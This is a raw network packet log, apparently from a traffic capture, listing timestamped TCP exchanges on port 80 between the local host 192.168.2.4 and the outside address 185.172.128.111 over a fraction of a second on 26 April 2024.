Apr 26, 2024 09:41:12.017478943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017489910 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017519951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017549992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017590046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017607927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017627001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017672062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017683983 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.017731905 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.017771006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.026041985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.026088953 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.026129961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.026141882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.047548056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.047590017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.047633886 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.047651052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.047679901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.047720909 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.047739983 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.047785044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.048343897 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.048427105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.048494101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.048513889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.048567057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.048588037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.048634052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.048670053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.048717022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.048749924 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.048788071 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.048852921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.048897982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.048916101 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.048959970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.048978090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049021959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.049057961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049103975 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.049123049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049165964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.049201012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049240112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.049329996 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049379110 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049390078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.049431086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.049451113 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049491882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.049510002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049552917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.049587965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049627066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.049690962 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049740076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.049762964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049819946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.049840927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049891949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.049926043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.049973011 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050007105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050045967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050101042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050147057 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050164938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050209045 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050242901 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050291061 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050307989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050350904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050390005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050441027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050453901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050488949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050524950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050568104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050586939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050635099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050652981 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050697088 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050730944 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050776958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050827026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050878048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050895929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.050946951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.050967932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051012039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051045895 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051099062 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051115990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051170111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051187992 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051239014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051258087 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051306009 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051323891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051373959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051390886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051440001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051481009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051525116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051536083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051554918 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051595926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051611900 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051656961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051691055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051739931 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051773071 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051810026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051834106 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051881075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051899910 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.051951885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.051970005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.052010059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.052023888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.052067995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.052275896 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.052323103 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.052381039 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.052428961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.052447081 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.052489996 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.052567005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.052623987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.052643061 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.052687883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.052722931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.052766085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.052808046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.052864075 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.053132057 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.053178072 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.053189993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.053236961 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.053256035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.053277016 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.053303957 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.053313971 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.053360939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.053414106 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.053431988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.053477049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.053497076 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.053513050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.053540945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.053551912 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.053595066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.053644896 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.053682089 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.053733110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.053766966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.053812027 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.053842068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.053889036 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054058075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054102898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054120064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054162025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054197073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054240942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054271936 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054318905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054371119 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054421902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054439068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054482937 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054517984 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054534912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054558992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054573059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054616928 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054657936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054676056 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054730892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054755926 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054773092 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054800034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054811954 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054841042 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054876089 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054910898 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.054955959 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.054990053 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055006027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055038929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055057049 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055073023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055114031 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055129051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055149078 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055176973 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055186987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055200100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055239916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055345058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055394888 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055413008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055455923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055474043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055490017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055510044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055526018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055571079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055617094 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055634975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055685043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055718899 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055735111 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055761099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055772066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055787086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055825949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055850029 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055895090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055936098 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055953979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.055978060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.055993080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.056025982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.056073904 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.056092024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.056147099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.056164980 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.056180954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.056221962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.056221962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.056241989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.056288004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.056301117 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.056359053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.056376934 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.056394100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.056415081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.056435108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.056462049 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.056479931 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.056505919 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.056518078 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.056559086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.056576014 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.056597948 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.056612015 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.101705074 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.101763964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.101800919 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.101819038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.101850986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.101864100 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.101911068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.101958990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.101993084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.102061033 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.102078915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.102123976 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.102158070 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.102204084 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.102297068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.102346897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.102365017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.102406025 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.102418900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.102432966 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.102451086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.102468967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.102545977 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.102596045 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.102618933 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.102662086 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.102694035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.102739096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.102818012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.102868080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.102967978 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.103020906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.103039026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.103087902 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.103106022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.103151083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.103185892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.103235960 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.103252888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.103297949 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.103316069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.103333950 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.103358984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.103374958 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.103434086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.103451967 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.103483915 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.103497982 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.103523970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.103569984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.103588104 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.103634119 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.103730917 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.103777885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.103952885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.104002953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.104209900 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.104227066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.104249954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.104262114 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.104271889 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.104300976 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.104326010 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.104378939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.104397058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.104440928 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.104460001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.104476929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.104515076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.104533911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.104563951 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.104578018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.104604006 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.104649067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.104681969 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.104734898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.104829073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.104876995 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.104978085 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.105026007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.105058908 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.105112076 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.105144024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.105190039 CEST	49730	80	192.168.2.4	185.172.128.111
